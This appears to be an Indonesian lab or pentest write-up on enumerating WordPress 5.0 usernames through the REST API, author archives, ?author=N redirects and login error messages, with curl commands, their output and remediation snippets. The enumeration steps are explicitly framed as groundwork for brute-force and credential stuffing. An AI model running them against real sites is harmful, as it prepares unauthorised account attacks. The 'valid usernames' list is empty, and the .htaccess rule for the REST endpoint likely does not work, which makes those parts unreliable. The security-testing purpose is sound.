WordPress - User Enumeration

Objective

Melakukan User Enumeration pada situs WordPress 5.0 di wp-vuln.vuln.cybersecurity.or.id untuk mendapaftar username pengguna yang terdaftar. Informasi ini dapat digunakan sebagai langkah awal serangan brute-force atau credential stuffing.

Reconnaissance

1. Identifikasi Platform

Buka target:

http://wp-vuln.vuln.cybersecurity.or.id

Beberapa indikator WordPress:

• /wp-login.php - halaman login
• /wp-admin/ - dashboard admin
• /wp-content/ - direktori assets

Verifikasi versi WordPress:

curl -s "http://wp-vuln.vuln.cybersecurity.or.id/readme.html" | grep "Version"

Hasil:

Version 5.0

2. Cek /wp-json/wp/v2/users (REST API)

WordPress 5.0 memiliki REST API yang secara default mengekspos data user:

curl -s "http://wp-vuln.vuln.cybersecurity.or.id/wp-json/wp/v2/users"

Hasil:

[
  {
    "id": 1,
    "name": "Admin",
    "slug": "admin",
    "link": "http://wp-vuln.vuln.cybersecurity.or.id/author/admin/"
  },
  {
    "id": 2,
    "name": "Editor",
    "slug": "editors123",
    "link": "http://wp-vuln.vuln.cybersecurity.or.id/author/editors123/"
  },
  {
    "id": 3,
    "name": "author",
    "slug": "author",
    "link": "http://wp-vuln.vuln.cybersecurity.or.id/author/author/"
  },
  {
    "id": 4,
    "name": "contributor",
    "slug": "contributor",
    "link": "http://wp-vuln.vuln.cybersecurity.or.id/author/contributor/"
  }
]

3. Cek /wp-json/wp/v2/users?per_page=100

Untuk memastikan tidak ada user yang terlewat:

curl -s "http://wp-vuln.vuln.cybersecurity.or.id/wp-json/wp/v2/users?per_page=100"

Hasil: Sama seperti di atas - total 4 user.

4. Metode Alternatif: Author Archive

Coba akses /author/{username}/ untuk setiap user yang ditemukan:

curl -s -o /dev/null -w "%{http_code}" "http://wp-vuln.vuln.cybersecurity.or.id/author/admin/"

Hasil: HTTP 200 - user valid.

curl -s -o /dev/null -w "%{http_code}" "http://wp-vuln.vuln.cybersecurity.or.id/author/tidakada/"

Hasil: HTTP 404 - user tidak valid.

5. Metode Alternatif: /?author=N

Cek parameter author:

for i in $(seq 1 10); do
  code=$(curl -s -o /dev/null -w "%{http_code}" "http://wp-vuln.vuln.cybersecurity.or.id/?author=$i")
  echo "author=$i → $code"
done

Hasil:

author=1 → 301 (redirect to /author/admin/)
author=2 → 301 (redirect to /author/editors123/)
author=3 → 301 (redirect to /author/author/)
author=4 → 301 (redirect to /author/contributor/)
author=5 → 404
author=6 → 404
author=7 → 404
author=8 → 404
author=9 → 404
author=10 → 404

Exploitation

Daftar Username Valid

Dari hasil enumerasi, didapatkan username berikut:

2. Verifikasi Login Page

Coba akses halaman login untuk mengonfirmasi username valid:

curl -s "http://wp-vuln.vuln.cybersecurity.or.id/wp-login.php"

Halaman login WordPress standar muncul.

Uji apakah WordPress memberikan pesan berbeda untuk username valid vs tidak valid:

# Username valid
curl -s -d "log=admin&pwd=wrongpass" "http://wp-vuln.vuln.cybersecurity.or.id/wp-login.php" | grep -oP '(?<=<div id="login_error">).*?(?=</div>)'

# Username tidak valid
curl -s -d "log=tidakada&pwd=wrongpass" "http://wp-vuln.vuln.cybersecurity.or.id/wp-login.php" | grep -oP '(?<=<div id="login_error">).*?(?=</div>)'

Hasil untuk username valid:

Error: The password you entered for the username admin is incorrect.

Hasil untuk username tidak valid:

Error: Invalid username.

Perbedaan pesan error ini memvalidasi bahwa username admin benar-benar terdaftar.

Evidence

Output Curl REST API

$ curl -s "http://wp-vuln.vuln.cybersecurity.or.id/wp-json/wp/v2/users" | python3 -m json.tool

[
    {
        "id": 1,
        "name": "Admin",
        "slug": "admin",
        "link": "http://wp-vuln.vuln.cybersecurity.or.id/author/admin/"
    },
    {
        "id": 2,
        "name": "Editor",
        "slug": "editors123",
        "link": "http://wp-vuln.vuln.cybersecurity.or.id/author/editors123/"
    },
    {
        "id": 3,
        "name": "author",
        "slug": "author",
        "link": "http://wp-vuln.vuln.cybersecurity.or.id/author/author/"
    },
    {
        "id": 4,
        "name": "contributor",
        "slug": "contributor",
        "link": "http://wp-vuln.vuln.cybersecurity.or.id/author/contributor/"
    }
]

Author Enumeration via ?author=N

$ curl -I -s "http://wp-vuln.vuln.cybersecurity.or.id/?author=1" | grep Location
Location: http://wp-vuln.vuln.cybersecurity.or.id/author/admin/

️ Risk Assessment

Dampak Bisnis

• Memungkinkan serangan brute-force terarah pada username yang valid
• Kombinasi dengan password umum bisa menghasilkan akses tidak sah
• Informasi username memudahkan social engineering dan phishing
• Eksposur struktur organisasi tim website

️ Remediation

1. Nonaktifkan REST API User Endpoint (via functions.php)

Tambahkan kode berikut ke functions.php tema aktif:

// Nonaktifkan REST API untuk user yang tidak login
add_filter('rest_endpoints', function($endpoints) {
    if (!is_user_logged_in()) {
        if (isset($endpoints['/wp/v2/users'])) {
            unset($endpoints['/wp/v2/users']);
        }
    }
    return $endpoints;
});

2. Plugin Keamanan

Gunakan plugin seperti Wordfence, Sucuri, atau iThemes Security:

• Wordfence: Firewall + blocking enumerasi
• iThemes Security: Nonaktifkan author archive, ubah login URL

3. Nonaktifkan Author Archive Redirect

// functions.php - Redirect author archive ke homepage
add_action('template_redirect', function() {
    if (is_author()) {
        wp_redirect(home_url(), 301);
        exit;
    }
});

4. Uniform Error Messages di Login

// functions.php - Samakan pesan error
add_filter('login_errors', function() {
    return 'Username atau password salah.';
});

5. Aturan .htaccess

# Blokir akses ke REST API user endpoint
RewriteEngine On
RewriteCond %{QUERY_STRING} ^/wp/v2/users [NC]
RewriteRule ^wp-json/ - [F,L]

# Blokir enumerasi author
RewriteCond %{QUERY_STRING} author=\d+ [NC]
RewriteRule ^ - [F,L]

References

• OWASP A01:2021 - Broken Access Control
• WordPress REST API User Enumeration
• WPScan - WordPress Security Scanner
• CVE-2017-5487 - WordPress REST API User Enumeration